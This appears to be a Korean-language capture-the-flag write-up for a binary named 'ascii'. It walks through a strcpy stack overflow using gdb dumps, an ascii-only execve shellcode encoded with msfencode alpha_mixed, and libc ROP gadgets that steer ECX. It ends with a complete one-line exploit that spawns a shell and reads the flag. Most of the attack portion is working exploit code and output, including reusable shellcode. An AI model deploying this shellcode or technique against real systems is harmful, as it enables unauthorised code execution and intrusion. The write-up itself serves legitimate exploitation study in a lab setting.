ascii 프로그램은 getchar로 한 문자 씩 입력받아서 vuln함수 내에서 strcpy를 수행하는 프로그램이다.
아래에 코드에서 보다싶이 0xa8(168) + ebp + ret을 덮을 수 있게된다.
(gdb) disass vuln
Dump of assembler code for function vuln:
0x080484f1 <+0>: push %ebp
0x080484f2 <+1>: mov %esp,%ebp
0x080484f4 <+3>: sub $0xb8,%esp
0x080484fa <+9>: movl $0x80000000,0x4(%esp)
0x08048502 <+17>: lea -0xa8(%ebp),%eax
0x08048508 <+23>: mov %eax,(%esp)
0x0804850b <+26>: call 0x80483d0 <strcpy@plt>
0x08048510 <+31>: leave
0x08048511 <+32>: ret
End of assembler dump.
(gdb)
그리고 main함수 코드에는 0x80000000 주소에 0x1000만큼 RWX 권한을 가진 메모리를 할당해 준다. 스택은 NX 이므로 0x80000000 에 쉘코드를 올리고 실행시키자 ~
(gdb) disass main
Dump of assembler code for function main:
0x08048512 <+0>: push %ebp
0x08048513 <+1>: mov %esp,%ebp
0x08048515 <+3>: push %ebx
0x08048516 <+4>: and $0xfffffff0,%esp
0x08048519 <+7>: sub $0x30,%esp
0x0804851c <+10>: movl $0x0,0x14(%esp)
0x08048524 <+18>: movl $0xffffffff,0x10(%esp)
0x0804852c <+26>: movl $0x32,0xc(%esp)
0x08048534 <+34>: movl $0x7,0x8(%esp)
0x0804853c <+42>: movl $0x1000,0x4(%esp)
0x08048544 <+50>: movl $0x80000000,(%esp)
0x0804854b <+57>: call 0x8048400 <mmap@plt>
0x08048550 <+62>: mov %eax,0x2c(%esp)
0x08048554 <+66>: cmpl $0x80000000,0x2c(%esp)
그럼 ascii만으로 범위 (1f ~ 7f)만으로 바이너리가 나오도록 페이로드를 작성해보자.
1. 먼저 0x80000000로 가는 방법
(gdb)
0xff975ec0: 0xff975f18 0x55569a90 0x557278c4 0x8000000f
0xff975ed0: 0x00000000 0x00000000 0xff975f18 0x080485cf
0xff975ee0: 0x080486d6 0x00001000 0x00000007 0x00000032
0xff975ef0: 0xffffffff 0x00000000 0x55725ff4 0x555b61a5
0xff975f00: 0x55564660 0x00000000 0x00000010 0x80000000
0xff975f10: 0x080485e0 0x55725ff4 0x00000000 0x5559c4b3
위의 0x080485cf가 덮을 ret이고 계속 가다보면 0x80000000을 만나게 된다. 따라서 0x80000000 입력 없이 ret sled로 충분히 갈 수 있다.
2. ascii로 인코딩된 쉘코드 실행
perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"' | msfencode -e x86/alpha_mixed BufferRegister=ECX
[*] x86/alpha_mixed succeeded with size 99 (iteration=1)
buf =
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" +
"\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41" +
"\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41" +
"\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x34\x71\x39\x50\x66" +
"\x30\x72\x48\x36\x4f\x44\x6f\x73\x43\x52\x48\x50\x68\x66" +
"\x4f\x51\x72\x53\x59\x32\x4e\x6c\x49\x4d\x33\x6e\x69\x4b" +
"\x71\x4c\x49\x59\x52\x58\x30\x54\x4b\x78\x4d\x4d\x50\x41" +
"\x41"
bbolmin@kali:~$
기존의 x86 execve (24byte)를 msfencode로 alpha_mixed하여서 쉘코드를 인코딩 해주었다. alpha_mixed로 인코딩할 때 쉘코드가 시작되는 주소를 가진 레지스터를(위의 경우 ECX) 지정해 주어야한다.
레지스터 상황은 대략 아래와 같다. (ecx, ebx는 변하지 않음 ...)
(gdb) info reg
eax 0xffbc14a0 -4451168
ecx 0x800000d0 -2147483440
edx 0xffbc1570 -4450960
ebx 0x800000dc -2147483428
esp 0xffbc1490 0xffbc1490
ebp 0xffbc1548 0xffbc1548
esi 0x0 0
edi 0x0 0
eip 0x8048510 0x8048510 <vuln+31>
eflags 0x202 [ IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
특정 레지스터를 쉘코드 시작 주소로 조작해야 하므로 공유 라이브러리를 wget으로 가져와서 ROP 가젯을 찾아보았다.
[*] 참고로 공유 라이브러리 주소는 unlimited 후에 0x55583000 고정 된다.
ulimit -s unlimited
ascii@ubuntu:~$ ldd ascii
linux-gate.so.1 => (0x55579000)
libc.so.6 => /lib32/libc.so.6 (0x55583000)
/lib/ld-linux.so.2 (0x55555000)
ascii@ubuntu:~$
ROPeMe> search mov cl, %
Searching for ROP gadget: mov cl, % with constraints: []
0x18c8a5L: mov cl 0x1 ; or cl [esi] ; adc al 0x43 ;;
0x18ca15L: mov cl 0x1 ; or cl [esi] ; adc al 0x43 ;;
0x3c58L: mov cl 0x22 ; xchg ebp eax ;;
ROPeMe> search dec ecx
Searching for ROP gadget: dec ecx with constraints: []
0x52e5bL: dec ecx ;;
0x188a90L: dec ecx ;;
(gdb) x/4i 0x55586c58
0x55586c58: mov $0x22,%cl
0x55586c5a: xchg %eax,%ebp
0x55586c5b: ret
(gdb) x/4i 0x555d5e5bL
0x555d5e5b <_IO_vfscanf+25243>: dec %ecx
0x555d5e5c <_IO_vfscanf+25244>: ret
이것 저것 찾아보다가 ascii 우회 가능한 주소를 가지고 있는 ecx를 조작 가젯 발견. ~
원래 ECX는 0x800000d0인데 "0x55586c58", "0x555d5e5b"x11 으로 0x80000017로 변경 시킴.
그럼 0x80000017전 까지는 대충 더미 코드를 삽입하고 0x80000017 부터 위에서 만든 alpha_mixed 쉘코드를 넣어준다.
(더미 코드로는 dec eax(OPCODE : 0x49)를 사용했음)
[ exploit ]
ascii@ubuntu:~$ (perl -e 'print "\x48"x23, "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x34\x71\x39\x50\x66\x30\x72\x48\x36\x4f\x44\x6f\x73\x43\x52\x48\x50\x68\x66\x4f\x51\x72\x53\x59\x32\x4e\x6c\x49\x4d\x33\x6e\x69\x4b\x71\x4c\x49\x59\x52\x58\x30\x54\x4b\x78\x4d\x4d\x50\x41\x41","a"x46, "cccc", "\x58\x6c\x58\x55", "\x5b\x5e\x5d\x55"x11, "\x00"';cat)|./ascii
Input text : triggering bug...
id
uid=1014(ascii) gid=1014(ascii) egid=1015(ascii2) groups=1014(ascii)
ls
ascii flag
cat flag
damn you ascii armor... what a pain in the ass!! :(